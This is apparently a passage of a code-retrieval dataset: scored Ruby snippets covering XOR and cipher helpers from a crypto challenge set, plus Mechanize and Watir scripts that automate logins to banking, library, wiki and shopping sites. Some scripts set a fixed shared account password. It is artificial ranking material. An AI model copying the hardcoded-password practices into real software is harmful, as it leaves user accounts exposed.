"0.5640322", "text": "def decrypt_next_byte(column)\n solution = MatasanoLib::XOR.brute(column, 'ETAOIN SHRDLU,.')\n solution[:key]\nend", "title": "" }, { "docid": "0ffa19ce6b4e761843e6d3f10129eb56", "score": "0.5640028", "text": "def xor_hl\n end", "title": "" }, { "docid": "40df8273fc609a0a524857de04a2306e", "score": "0.5634232", "text": "def fixedXOR(a = 0x1c0111001f010100061a024b53535009181c, b = 0x686974207468652062756c6c277320657965)\n if a.to_s(16).length == b.to_s(16).length\n res = a ^ b\n else\n # TODO: raise error\n res = 0\n puts \"error: diff size arguments\"\n end\n res\nend", "title": "" }, { "docid": "1a61398974529dc65c21e2c702f7de66", "score": "0.5612608", "text": "def xor(*others)\n self.class.xor(self, *others)\n end", "title": "" }, { "docid": "ea1021fc6e39fc28780c7e3f741f9463", "score": "0.5596445", "text": "def set_otp_key(id, key)\n @otp_keys[id] = encrypt(key.to_s) unless key.to_s.empty?\n end", "title": "" }, { "docid": "6f33b3966b2cf045d2b30fab35ee480f", "score": "0.5591464", "text": "def deofuscate_key\n string_source = StringDec.new(generate_shine_key)\n hex_source = HexDec.new(dark_key)\n code_decimal = []\n hex_source.array.size.times do |index|\n code_decimal << (hex_source.array[index] ^ string_source.array[index]).chr\n end\n return code_decimal.to_s\n end", "title": "" }, { "docid": "bf0141eacc83c421c3dd0e80570e31ed", "score": "0.5590265", "text": "def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end", "title": "" }, { "docid": "62181b4b496b4d752239328dcdf1b179", "score": "0.55816925", "text": "def caesarCipherEncryptor(string, key)\n new_letters = []\n new_key = key % 26\n alphabet = (\"abcdefghijklmnopqrstuvwxyz\").chars\n\n string.each_char do |letter|\n new_letters.append(get_new_letter(letter, new_key, alphabet))\n end\n return new_letters.join\nend", "title": "" }, { "docid": "a3f23e644c0d33496675dd74d8c983d1", "score": "0.5578371", "text": "def encryption_oracle(input)\n #Hardcoded, secret string\n append = 'Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg'\n append << 'aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq'\n append << 'dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg'\n append << 'YnkK'\n append = append.unpack('m')\n\n str = input + append.join\n\n cipher = OpenSSL::Cipher.new('AES-128-ECB') \n cipher.encrypt \n cipher.key = 'O' * Blocksize;\n \n enc = cipher.update(str) + cipher.final\n #Hex encoded return\n return enc.unpack('H*').join\nend", "title": "" }, { "docid": "b942be72dc3a984ca50d24e7b41b666f", "score": "0.55742216", "text": "def encrypt; end", "title": "" } ]
83a5fc7907d40fa5c6c364a77640bc2e
def create_adobe_connect require 'mechanize' agent = Mechanize.new agent.get(ADOBE_CONNECT_NEW_USER_URL) do |login_page| login_page.login = ADOBE_CONNECT_USERNAME login_page.password = ADOBE_CONNECT_PASSWORD reset_result_page = page.form_with(:action => '/do/resetpasswd/Main/WebHome') do |reset_page| reset_page.LoginName = self.twiki_name end.submit return false if reset_result_page.parser.css('.patternTopic h3').text == " Password reset failed " return true if reset_result_page.link_with(:text => 'change password') return true end end
[ { "docid": "a33bed565b6c8dcd1d5483ead857ebf0", "score": "0.0", "text": "def past_teams\n Team.find_by_sql([\"SELECT t.* FROM teams t INNER JOIN teams_people tp ON ( t.id = tp.team_id) INNER JOIN users u ON (tp.person_id = u.id) INNER JOIN courses c ON (t.course_id = c.id) WHERE u.id = ? AND (c.semester <> ? OR c.year <> ?)\", self.id, AcademicCalendar.current_semester(), Date.today.year])\n end", "title": "" } ]
[ { "docid": "e1647ef2af8ec7462683cadfff0cd6e9", "score": "0.7031371", "text": "def login(name,password)\n\tmechanize = Mechanize.new\n\tagent = mechanize.get('https://catalog.denverlibrary.org/logon.aspx')\n\tform = agent.form_with(:action=> '/Mobile/MyAccount/Logon')\n \n\tuser_field = form.field_with(:id=> 'barcodeOrUsername').value = name\n\tpassword_field = form.field_with(:name=> 'password').value = password\n\taccountpage = form.submit\nend", "title": "" }, { "docid": "1bd5de2e9b517ad5df7ece2c21ce8cf9", "score": "0.69720453", "text": "def login\n @agent = Mechanize.new\n @page = @agent.get 'https://p.eagate.573.jp/gate/p/login.html'\n @page.encoding = 'utf-8'\n\n form = @page.forms[0]\n form.KID = Config::USER\n form.pass = Config::PASS\n @page = @agent.submit(form)\n end", "title": "" }, { "docid": "ec8b747fae35308ff9c04add4940e201", "score": "0.67079157", "text": "def login\n mech = Mechanize.new\n page = mech.get(LOGIN_URL)\n username_field = page.form.field_with(id: \"user_email\")\n username_field.value = USER\n password_field = page.form.field_with(id: \"user_password\")\n password_field.value = PASS\n page.form.submit\n end", "title": "" }, { "docid": "0ee69f687f522670a301f733be3c4c12", "score": "0.6690151", "text": "def create_twiki_account\n require 'mechanize'\n agent = Mechanize.new\n agent.basic_auth(TWIKI_USERNAME, TWIKI_PASSWORD)\n agent.get(TWIKI_URL + '/do/view/TWiki/TWikiRegistration' ) do |page|\n registration_result = page.form_with(:action => '/do/register/Main/WebHome') do |registration|\n registration.Twk1FirstName = self.first_name\n registration.Twk1LastName = self.last_name\n registration.Twk1WikiName = self.twiki_name\n registration.Twk1Email = self.email\n registration.Twk0Password = 'just4now'\n registration.Twk0Confirm = 'just4now'\n registration.Twk1Country = 'USA'\n # registration.action = 'register'\n # registration.topic = 'TWikiRegistration'\n # registration.rx = '%BLACKLISTPLUGIN{ action=\\\"magic\\\" }%'\n end.submit\n # #<WWW::Mechanize::Page::Link \"AndrewCarnegie\" \"/do/view/Main/AndrewCarnegie\">\n link = registration_result.link_with(:text => self.twiki_name)\n if link.nil?\n #the user probably already exists\n pp registration_result\n return false\n end\n self.twiki_created = Time.now()\n self.save_without_session_maintenance\n return true\n end\n\n \n end", "title": "" }, { "docid": "6d7db7706556f31b46de6a4d0d8f8328", "score": "0.6562333", "text": "def create_twiki_account\n require 'mechanize'\n agent = Mechanize.new\n agent.basic_auth(TWIKI_USERNAME, TWIKI_PASSWORD)\n agent.get(TWIKI_URL + '/do/view/TWiki/TWikiRegistration') do |page|\n registration_result = page.form_with(:action => '/do/register/Main/WebHome') do |registration|\n registration.Twk1FirstName = self.first_name\n registration.Twk1LastName = self.last_name\n registration.Twk1WikiName = self.twiki_name\n registration.Twk1Email = self.email\n registration.Twk0Password = 'just4now'\n registration.Twk0Confirm = 'just4now'\n registration.Twk1Country = 'USA'\n # registration.action = 'register'\n # registration.topic = 'TWikiRegistration'\n # registration.rx = '%BLACKLISTPLUGIN{ action=\\\"magic\\\" }%'\n end.submit\n # #<WWW::Mechanize::Page::Link \"AndrewCarnegie\" \"/do/view/Main/AndrewCarnegie\">\n link = registration_result.link_with(:text => self.twiki_name)\n if link.nil?\n #the user probably already exists\n pp registration_result\n return false\n end\n self.twiki_created = Time.now()\n self.save\n return true\n end\n\n\n end", "title": "" }, { "docid": "9f41fda759c950279c4014c87172b34b", "score": "0.6549464", "text": "def create_twiki_account\n require 'mechanize'\n agent = Mechanize.new\n agent.basic_auth(TWIKI_USERNAME, TWIKI_PASSWORD)\n agent.get(TWIKI_URL + '/do/view/TWiki/TWikiRegistration') do |page|\n registration_result = page.form_with(:action => '/do/register/Main/WebHome') do |registration|\n registration.Twk1FirstName = self.first_name\n registration.Twk1LastName = self.last_name\n registration.Twk1WikiName = self.twiki_name\n registration.Twk1Email = self.email\n registration.Twk0Password = 'just4now'\n registration.Twk0Confirm = 'justb4now'\n registration.Twk1Country = 'USA'\n # registration.action = 'register'\n # registration.topic = 'TWikiRegistration'\n # registration.rx = '%BLACKLISTPLUGIN{ action=\\\"magic\\\" }%'\n end.submit\n # #<WWW::Mechanize::Page::Link \"AndrewCarnegie\" \"/do/view/Main/AndrewCarnegie\">\n link = registration_result.link_with(:text => self.twiki_name)\n if link.nil?\n #the user probably already exists\n pp registration_result\n return false\n end\n self.twiki_created = Time.now()\n self.save_without_session_maintenance\n return true\n end\n\n\n end", "title": "" }, { "docid": "d437dab9f74a3ad8466e55d962b82c19", "score": "0.6497444", "text": "def login(user_data)\n agent = Mechanize.new\n page = agent.get('http://sga.itba.edu.ar/')\n login_form = page.form\n login_form.user = user_data[0]\n login_form.password = user_data[1]\n login_form.js = 1\n login_form.submit\nend", "title": "" }, { "docid": "a895b88a4d1be5761950a47c06226a27", "score": "0.64734656", "text": "def login\n page = agent.get('http://login.live.com/login.srf?id=2')\n form = page.forms.first\n form.login = options[:username]\n form.passwd = options[:password]\n form.PwdPad = ( \"IfYouAreReadingThisYouHaveTooMuchFreeTime\"[0..(-1 - options[:password].to_s.size )])\n query_string = page.body.scan(/g_QS=\"([^\"]+)/).first.first rescue nil\n form.action = login_url + \"?#{query_string.to_s}\"\n page = agent.submit(form)\n \n # Check for login success\n if page.body =~ /The e-mail address or password is incorrect/ ||\n page.body =~ /Sign in failed\\./\n raise( Blackbook::BadCredentialsError, \n \"That username and password was not accepted. Please check them and try again.\" )\n end\n \n page = agent.get( page.body.scan(/http\\:\\/\\/[^\"]+/).first )\n end", "title": "" }, { "docid": "523ea1756170d531d9ae6d8a6d883f84", "score": "0.64558136", "text": "def login(browser = getBrowser(@displays, @headless))\n if @displayProgress\n puts \"\\x1B[90mAttempting to establish connection with: #{@login_uri}\\x1B[0m\"\n end\n browser.goto(@login_uri)\n browser.text_field(:name => 'frmLogin:strCustomerLogin_userID').set @username\n browser.text_field(:name => 'frmLogin:strCustomerLogin_pwd').set @password\n browser.checkbox(:name => 'frmLogin:loginRemember').set\n browser.input(:id => 'frmLogin:btnLogin1').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed first page\\x1B[0m\"\n end\n browser.select_list(:name => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo1').option(:value => \"&nbsp;#{getCharAt(browser.label(:for => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo1').when_present(5).text.gsub(/[^0-9]/, ''), @security)}\").select\n browser.select_list(:name => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo2').option(:value => \"&nbsp;#{getCharAt(browser.label(:for => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo2').when_present(5).text.gsub(/[^0-9]/, ''), @security)}\").select\n browser.select_list(:name => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo3').option(:value => \"&nbsp;#{getCharAt(browser.label(:for => 'frmentermemorableinformation1:strEnterMemorableInformation_memInfo3').when_present(5).text.gsub(/[^0-9]/, ''), @security)}\").select\n browser.input(:id => 'frmentermemorableinformation1:btnContinue').click\n until browser.link(:title => 'View the latest transactions on your Lloyds Account').exists? do\n # Email Confirmation Page\n if browser.input(:id => 'frm2:btnContinue2', :type => 'image').exists?\n browser.input(:id => 'frm2:btnContinue2', :type => 'image').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed (occasional) email confirmation page\\x1B[0m\\n\"\n end\n end\n # Offers Page\n if browser.link(:title => 'Not right now').exists?\n browser.link(:title => 'Not right now').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed (occasional) offers page\\x1B[0m\\n\"\n end\n end\n # Occasional 'Important Update' Page\n if browser.checkbox(:id => 'frmmandatoryMsgs:msgList1:0:chktmpMsgRead1').exists?\n browser.checkbox(:id => 'frmmandatoryMsgs:msgList1:0:chktmpMsgRead1').set\n if @displayProgress\n puts \"\\x1B[90mTicked checkbox to confirm I've read a message\\x1B[0m\\n\"\n end\n end\n if browser.checkbox(:id => 'frmmandatoryMsgs:tmpAllMsgsRead').exists?\n browser.checkbox(:id => 'frmmandatoryMsgs:tmpAllMsgsRead').set\n if @displayProgress\n puts \"\\x1B[90mTicked checkbox to never show a message again\\x1B[0m\\n\"\n end\n end\n if browser.input(:id => 'frmmandatoryMsgs:continue_to_your_accounts2').exists?\n browser.input(:id => 'frmmandatoryMsgs:continue_to_your_accounts2').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed (occasional) important information page\\x1B[0m\\n\"\n end\n end\n if browser.li(:class => 'primaryAction').link(:index => 0).exists?\n browser.li(:class => 'primaryAction').link(:index => 0).click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed (occasional) offers page\\x1B[0m\\n\"\n end\n end\n end\n if @displayProgress\n puts \"\\x1B[90mSuccessfully logged in to Lloyds\\x1B[0m\\n\"\n end\n sleep(2)\n browser\n end", "title": "" }, { "docid": "2417f048c9793c191a412877a27d8099", "score": "0.64548117", "text": "def bb_login(username, password, bb_url)\n mech = Mechanize.new\n mech.log = Logger.new $stderr\n\n # Load website and log us in\n page = mech.get(bb_url)\n forms = format_forms(page)\n form = page.form_with :name => 'login'\n form.user_id = USERNAME\n form.password = PASSWORD\n form.submit\n\n #save the cookie jar for next request\n ret_jar = mech.cookie_jar\n return ret_jar\nend", "title": "" }, { "docid": "f00e5ffd027976c4b9947c12d30abeb3", "score": "0.63347095", "text": "def login(browser = getBrowser(@displays, @headless))\n if @displayProgress\n puts \"\\x1B[90mAttempting to establish connection with: #{@login_uri}\\x1B[0m\"\n end\n browser.goto(@login_uri)\n browser.text_field(:name => 'username').set @username\n browser.text_field(:name => 'password').set @pin\n browser.checkbox(:name => 'remember').set\n browser.input(:type => 'submit', :value => 'Continue').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed first page\\x1B[0m\"\n end\n browser.select_list(:name => 'firstAnswer').option(:value => getCharAt(browser.label(:for => 'lettera').text.gsub(/[^0-9]/, ''), @security)).select\n browser.select_list(:name => 'secondAnswer').option(:value => getCharAt(browser.label(:for => 'letterb').text.gsub(/[^0-9]/, ''), @security)).select\n browser.input(:type => 'submit', :value => 'Log in').click\n if browser.link(:id => 'confirmpd').exists?\n browser.link(:id => 'confirmpd').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed occasional confirmation page\\x1B[0m\\n\"\n end\n end\n if @displayProgress\n puts \"\\x1B[90mSuccessfully logged in to BarclayCard\\x1B[0m\\n\"\n end\n browser\n end", "title": "" }, { "docid": "20b3b0b714a45f796e452616ab8090cb", "score": "0.6327944", "text": "def tirerack_login\n a = Mechanize.new { |agent| agent.user_agent_alias = 'Mac Safari'}\n page = a.get(\"http://www.tirerackwholesale.com/whlogin/Login.jsp\")\n form = page.form_with(:name => \"login\")\n form.customerID = LOGIN_TIRERACK\n form.passWord = PWD_TIRERACK\n page = a.submit(form)\n puts \"Logged in to Tirerack, resulting in #{page.class}\\n\"\n end", "title": "" }, { "docid": "d8bdbc32678c5964901ff368973741f1", "score": "0.62940216", "text": "def login\n page = agent.get( 'http://webmail.aol.com/' )\n\n form = page.forms.find{|form| form.name == 'AOLLoginForm'}\n form.loginId = options[:username].split('@').first # Drop the domain\n form.password = options[:password]\n page = agent.submit(form, form.buttons.first)\n\n raise( Blackbook::BadCredentialsError, \"That username and password was not accepted. Please check them and try again.\" ) if page.body =~ /Invalid Screen Name or Password. Please try again./\n\n base_uri = page.body.scan(/^var gSuccessPath = \\\"(.+)\\\";/).first.first\n raise( Blackbook::BadCredentialsError, \"You do not appear to be signed in.\" ) unless base_uri\n page = agent.get base_uri\n end", "title": "" }, { "docid": "8cc0b486740519df140471813a6c1dc1", "score": "0.6281608", "text": "def login(user, pass, mechanize_agent)\n\n tries = 0\n begin \n homepage = mechanize_agent.get('http://deviantart.com')\n login_form = homepage.form_with(dom_id: \"form-login\")\n login_form.field_with(dom_id: \"login-username\").value = user\n login_form.field_with(dom_id: \"login-password\").value = pass\n login_form.submit\n rescue\n puts \"Login error. retrying...\"\n tries += 1\n if tries < 3\n sleep (2 ** tries)\n retry\n else \n puts \"Tried three times, bailing.\"\n end\n end\nend", "title": "" }, { "docid": "04600f75b128fb24196ff4822606c951", "score": "0.6218217", "text": "def login\n #this assumes we can get to signin from here\n login = @agent.get('http://www.xanga.com/signin.aspx')\n form = login.form('frmSigninRegister')\n \n #this assumes default domain is xanga\n form.txtSigninUsername = @user\n form.txtSigninPassword = @pw\n \n #this assumes first button will be the submit button\n page = @agent.submit(form, form.buttons.first)\n end", "title": "" }, { "docid": "2ac7732611da3c6dfcc551853e4c81c2", "score": "0.6165133", "text": "def login mail,pw\n forms = @page.forms.first\n forms.email=mail\n forms.password=pw\n @page = forms.click_button\n end", "title": "" }, { "docid": "c8bd44f74858af9c48b510cd975b5421", "score": "0.61504495", "text": "def initialize(email, password)\n @email=email\n @password=password\n @agent=Mechanize.new\n @agent.redirect_ok = :all\n @agent.follow_meta_refresh = :anywhere\n login\n end", "title": "" }, { "docid": "fa9d287920de5ba0600f909c29f46c77", "score": "0.61419874", "text": "def login username, password\n @username = username\n\n @page = @page.form('Login') { |form|\n form['txtUserID'] = username\n form['txtPassword'] = password\n form['__EVENTTARGET'] = 'btnLogin'\n }.submit\n change_password password if @page.body =~ /Old Password/\n\n if @page.body =~ /Supervisor Services/ then\n warn \"switching to employee page\"\n option = @page.parser.css(\"select#Banner1_ddlServices\").children.find { |n| n[\"value\"] =~ /EmployeeServicesStart/ }\n @page = @agent.get option[\"value\"]\n end\n\n @page = @page.link_with(:text => 'Time Sheet').click\n end", "title": "" }, { "docid": "17fe3ba0e31f94b54bab000441929b5c", "score": "0.6137652", "text": "def authenticate\n action = \"#{@url}index.cgi\"\n page = @agent.get(@url)\n form = page.form_with(:action => action)\n if form != nil\n @log.debug \"Authenticating with #{@url}\"\n form['Bugzilla_login']=@username\n form['Bugzilla_password']=@password\n page = @agent.submit form\n if page.search(\".//td[@id='error_msg']\").empty?\n @log.debug \"Authenticated successfully\"\n return true\n else\n @log.error page.search(\".//td[@id='error_msg']\")[0].content.strip\n end\n else\n @log.error \"Unable to find #{action} form\"\n end\n return false\n end", "title": "" }, { "docid": "186e428cd0b6c913d80989ec23250b6c", "score": "0.61072534", "text": "def login_and_get_initial_page(user_name, password)\n login_page = retrieve_url(\"https://my.idc.ac.il/my.policy\")\n # Check if moved to error page already, and return to main page.\n if login_page.uri.to_s == \"https://my.idc.ac.il/my.logout.php3?errorcode=19\" || login_page.uri.to_s == \"https://my.idc.ac.il/my.logout.php3?errorcode=19\"\n @scrape_logger.info(\"#{__method__} - arrived session TO page on login. Clicking link to return...\")\n puts \"#{__method__} - arrived session TO page on login. Clicking link to return...\" # to do remove\n login_page = login_page.link_with(:text=>\"click here.\").click\n end\n if login_page.uri.to_s != \"https://my.idc.ac.il/my.policy\"\n raise \"failed_to_reach_login_page_exception uri:#{login_page.uri.to_s}\"\n end\n login_form = login_page.form(\"e1\")\n if nil == login_form\n raise \"couldnt_find_login_form_exception #{}\"\n end\n \n login_form.username = user_name\n login_form.password = password\n user_home_page = agent.submit(login_form, login_form.buttons.first)\n # to do - make a better login check, like looking for the login error message\n # maybe look for some contents inside too\n if user_home_page.uri.to_s != \"http://my.idc.ac.il/idsocial/he/Pages/homepage.aspx\"\n raise \"couldnt_login_form_exception uri:#{user_home_page.uri.to_s}\"\n end\n \n return user_home_page\n end", "title": "" }, { "docid": "f37d4654c52af3b69edb64da1f1c2a35", "score": "0.6101473", "text": "def authenticate\n puts \"==AUTHENTICATING EXTRANET==\"\n agent = new_secure_agent\n page = agent.get('https://extranet.uphs.upenn.edu') #connect to extranet\n agent.page.forms.first.username = @username # login username for extranet\n agent.page.forms.first.password = @pw # login pw\n agent.page.forms.first.submit # submits login request\n\n if agent.page.forms.first.checkbox_with(:name =>'postfixSID') #if another extranet session is open, it will ask you to close it or continue. If tow are open, you have to close one. This line looks for checkboxes and closes one session if they are present\n agent.page.forms.first.checkbox.check\n end\n btn = agent.page.forms.first.submit_button?('btnContinue') #finds the continue button\n agent.page.forms.first.submit(btn) # submits it to confirm login\n # save_agent if Rails.env.development?\n return agent\n end", "title": "" }, { "docid": "2caf21b9918bcaf16092748f602dca8c", "score": "0.60424966", "text": "def loginToSalesforce()\n #puts \"in AccountAssignmentFromLead:loginToSalesforce\"\n @driver.get \"https://test.salesforce.com/login.jsp?pw=#{@mapCredentials['Staging']['WeWork NMD User']['password']}&un=#{@mapCredentials['Staging']['WeWork NMD User']['username']}\"\n #switchToClassic(@driver)\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",@timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n return true\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",60)\n rescue Exception => e\n puts e\n return false\n end", "title": "" }, { "docid": "8b0201566b9e9f5e67168b3d67a7d133", "score": "0.6017191", "text": "def login_site(user, pass)\n @b.goto \"https://cursos.alura.com.br/loginForm\"\n sleep @sleep_padrao\n 2.times do\n if @b.url == \"https://cursos.alura.com.br/loginForm\"\n @b.text_field(id: 'login-email').set user #preencher\n @b.text_field(id: 'password').set pass #preencher\n @b.button(class: \"#{@button_login}\").click\n sleep @sleep_padrao\n else\n break\n end\n end\nend", "title": "" }, { "docid": "254921e0632ef58438ed8d1d4ff1860e", "score": "0.6012632", "text": "def loginToSalesforce()\n #puts \"in AccountAssignmentFromLead:loginToSalesforce\"\n @driver.get \"https://test.salesforce.com/login.jsp?pw=#{@mapCredentials['Staging']['WeWork System Administrator']['password']}&un=#{@mapCredentials['Staging']['WeWork System Administrator']['username']}\"\n switchToClassic(@driver)\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",@timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n return true\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",60)\n rescue Exception => e\n puts e\n return false\n end", "title": "" }, { "docid": "e13c26145514a7a1b4f03ca1fe8b1c10", "score": "0.59665275", "text": "def login\n abakus_config = YAML.load(File.open(\"./config/_abakus_account.yaml\"))\n username = abakus_config['app']['username']\n password = abakus_config['app']['password']\n \n login_page = @agent.get(\"https://abakus.no/user/login/\")\n login_form = login_page.form_with(:action => \"/user/login/\")\n login_form.username = username\n login_form.password = password\n login_form.submit\n end", "title": "" }, { "docid": "cba0390bbe1826c67bf8daf2527fb436", "score": "0.5960657", "text": "def login\n debug_msg(\"getting login page\")\n page = client.get(LOGIN_URL)\n\n while true do\n debug_msg(\"logging in\")\n page = page.form_with(:name => 'appleConnectForm') do |form|\n raise \"login form not found\" unless form\n\n form['theAccountName'] = @username\n form['theAccountPW'] = @password\n form['1.Continue.x'] = '35'\n form['1.Continue.y'] = '16'\n form['theAuxValue'] = ''\n end.submit\n\n dump(client, page)\n\n # 'session expired' message sometimes appears after logging in. weird.\n expired = page.body.match(/Your session has expired.*?href\\=\"(.*?)\"/)\n if expired\n debug_msg(\"expired session detected, retrying login\")\n page = client.get(expired[1])\n next # retry login\n end\n\n break # done logging in\n end\n\n # skip past new license available notifications\n new_license = page.body.match(/Agreement Update/)\n if new_license\n raise(\"new license detected, aborting...\") if self.abort_license? \n #if acceptable continue\n debug_msg(\"agreement update detected, skipping\")\n next_url = page.body.match(/a href=\"(.*?)\">\\s*<img[^>]+src=\"\\S+\\/itc\\/images\\/btn-continue.png\"/)\n raise \"could not determine continue url\" unless next_url\n continue_link = page.link_with(:href => next_url[1])\n raise \"could not find continue link\" unless continue_link\n page = client.click(continue_link)\n end\n\n # Click the sales and trends link\n sales_link = page.link_with(:text => /Sales and Trends/)\n raise \"Sales and Trends link not found\" unless sales_link\n page2 = client.click(sales_link)\n dump(client, page2)\n\n # submit body onload form\n # setUpdefaultVendorNavigation()\n debug_msg(\"setting default vendor navigation\")\n page_param = page2.body.match(/parameters':\\{'(.*?)'/)[1] rescue nil\n raise \"could not determine defaultVendorPage parameter\" unless page_param\n\n page2.form_with(:name => 'defaultVendorPage') do |form|\n form['AJAXREQUEST'] = get_ajax_id(page2)\n form[page_param] = page_param\n\n debug_form(form)\n end.submit\n\n debug_msg(\"finished login\")\n\n @report_page = nil # clear any cached report page\n @logged_in = true\n end", "title": "" }, { "docid": "38ceb130ac66df56ac5e0e787e0552dc", "score": "0.59578574", "text": "def login(username, password)\n form_action = \"#{@url_base}/micis/remote/loginPopupValidation.php\"\n page = @agent.post form_action, {\n :username => username,\n :pwd => password,\n :appName => \"MICIS\"\n }\n page\n end", "title": "" }, { "docid": "8014082020aabd1af5be720b99420a01", "score": "0.5923112", "text": "def test_passwordresetlinkmultipleloginattempts\n loginpage = Hudl_Login_Page.new @@driver\n\n loginpage.LogIn(@@longusername, \"\")\n loginpage.LogIn(@@longusername, \"\")\n loginpage.LogIn(@@longusername, \"\")\n loginpage.LogIn(@@longusername, \"\")\n loginpage.LogIn(@@longusername, \"\")\n loginpage.LogIn(@@longusername, \"\")\n\n loginpage.ClickPasswordResetLink()\n\n end", "title": "" }, { "docid": "4d98ebe7ac2d901ab83736817e6bda05", "score": "0.59130275", "text": "def login\n tries ||= 3\n puts \"========= Performing Login\"\n @log.add_message(\"Efetuando login com #{self.aliexpress.email}\\n\")\n @b.goto \"https://login.aliexpress.com/\"\n frame = @b.iframe(id: 'alibaba-login-box')\n frame.text_field(name: 'loginId').set self.aliexpress.email\n sleep 1\n frame.text_field(name: 'password').set self.aliexpress.password\n sleep 1\n frame.button(name: 'submit-btn').click\n sleep 5\n rescue => e\n puts e.message\n @log.add_message \"Erro de login, Tentando mais #{tries} vezes\"\n @log.add_message e.message\n retry unless (tries -= 1).zero?\n end", "title": "" }, { "docid": "4d98ebe7ac2d901ab83736817e6bda05", "score": "0.59130275", "text": "def login\n tries ||= 3\n puts \"========= Performing Login\"\n @log.add_message(\"Efetuando login com #{self.aliexpress.email}\\n\")\n @b.goto \"https://login.aliexpress.com/\"\n frame = @b.iframe(id: 'alibaba-login-box')\n frame.text_field(name: 'loginId').set self.aliexpress.email\n sleep 1\n frame.text_field(name: 'password').set self.aliexpress.password\n sleep 1\n frame.button(name: 'submit-btn').click\n sleep 5\n rescue => e\n puts e.message\n @log.add_message \"Erro de login, Tentando mais #{tries} vezes\"\n @log.add_message e.message\n retry unless (tries -= 1).zero?\n end", "title": "" }, { "docid": "792010c9ac589ab2c8abb9dea6f23e09", "score": "0.5887035", "text": "def touch_and_customize_cookies\n agent = Mechanize.new\n # retrieve the jsessionid and init the cookies\n begin\n agent.get(FORM_URL)\n rescue Mechanize::ResponseCodeError => e \n end\n\n agent.get(SEARCH_URL)\n agent.get(\"http://www.smc.gov.sg/PRSCPDS/scripts/profSearch/searchList.jsp?page=0&spectext=\")\n \n agent\nend", "title": "" }, { "docid": "792010c9ac589ab2c8abb9dea6f23e09", "score": "0.5887035", "text": "def touch_and_customize_cookies\n agent = Mechanize.new\n # retrieve the jsessionid and init the cookies\n begin\n agent.get(FORM_URL)\n rescue Mechanize::ResponseCodeError => e \n end\n\n agent.get(SEARCH_URL)\n agent.get(\"http://www.smc.gov.sg/PRSCPDS/scripts/profSearch/searchList.jsp?page=0&spectext=\")\n \n agent\nend", "title": "" }, { "docid": "dd2083ddf736d200975ec9da8bc86b53", "score": "0.58468246", "text": "def open_mahara\n # open moodle url which redirects to shibboleth service\n signin_page = @agent.get(@moodle_login_url)\n\n # Fill in shibboleth login form\n form = signin_page.forms[0]\n form.field_with(:id => \"username\").value = @username\n form.field_with(:id => \"password\").value = @password\n javascript_warning_page = form.click_button\n\n # The login system wants a confirmation: \n # Since your browser (mechanize) does not support JavaScript, you must press the Continue button once to proceed. \n form = javascript_warning_page.forms[0]\n my_moodle_dashboard_page = form.submit\n\n # now try to access the mahara page directly ... seems much easier than following\n # the link on the page ...\n @mahara_dashboard_page = @agent.get(@mahara_dahboard_url)\n\n return @mahara_dashboard_page\n end", "title": "" }, { "docid": "cd71e1837178666a9ca0dab13d79a70d", "score": "0.5833367", "text": "def login(email_id, pass_word)\n\t\n\tputs \"************** START : Login to Razoo ****************\"\t\n\t$browser.click \"link=Log in\"\n\t$browser.wait_for_page_to_load \n\tputs \"Step 1 : Entering valid User credintials - User Name as #{email_id} and Password as #{pass_word}\"\n\t$browser.type \"user_session_email\", email_id \n\t$browser.type \"user_session_password\", pass_word\n\t$browser.click \"//button[@type='submit']\"\n\t$browser.wait_for_page_to_load \n\tbegin\n\t\tassert $browser.is_text_present(\"Login successful!\")\n\t\tputs \"Step 2 : Passed. Login was Successful!!!\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 2 : Failed. Login Failed\"\n\tend\n\tputs \"************** END : Login to Razoo ****************\"\t\nend", "title": "" }, { "docid": "cd71e1837178666a9ca0dab13d79a70d", "score": "0.5833367", "text": "def login(email_id, pass_word)\n\t\n\tputs \"************** START : Login to Razoo ****************\"\t\n\t$browser.click \"link=Log in\"\n\t$browser.wait_for_page_to_load \n\tputs \"Step 1 : Entering valid User credintials - User Name as #{email_id} and Password as #{pass_word}\"\n\t$browser.type \"user_session_email\", email_id \n\t$browser.type \"user_session_password\", pass_word\n\t$browser.click \"//button[@type='submit']\"\n\t$browser.wait_for_page_to_load \n\tbegin\n\t\tassert $browser.is_text_present(\"Login successful!\")\n\t\tputs \"Step 2 : Passed. Login was Successful!!!\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 2 : Failed. Login Failed\"\n\tend\n\tputs \"************** END : Login to Razoo ****************\"\t\nend", "title": "" }, { "docid": "cd71e1837178666a9ca0dab13d79a70d", "score": "0.5833367", "text": "def login(email_id, pass_word)\n\t\n\tputs \"************** START : Login to Razoo ****************\"\t\n\t$browser.click \"link=Log in\"\n\t$browser.wait_for_page_to_load \n\tputs \"Step 1 : Entering valid User credintials - User Name as #{email_id} and Password as #{pass_word}\"\n\t$browser.type \"user_session_email\", email_id \n\t$browser.type \"user_session_password\", pass_word\n\t$browser.click \"//button[@type='submit']\"\n\t$browser.wait_for_page_to_load \n\tbegin\n\t\tassert $browser.is_text_present(\"Login successful!\")\n\t\tputs \"Step 2 : Passed. Login was Successful!!!\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs 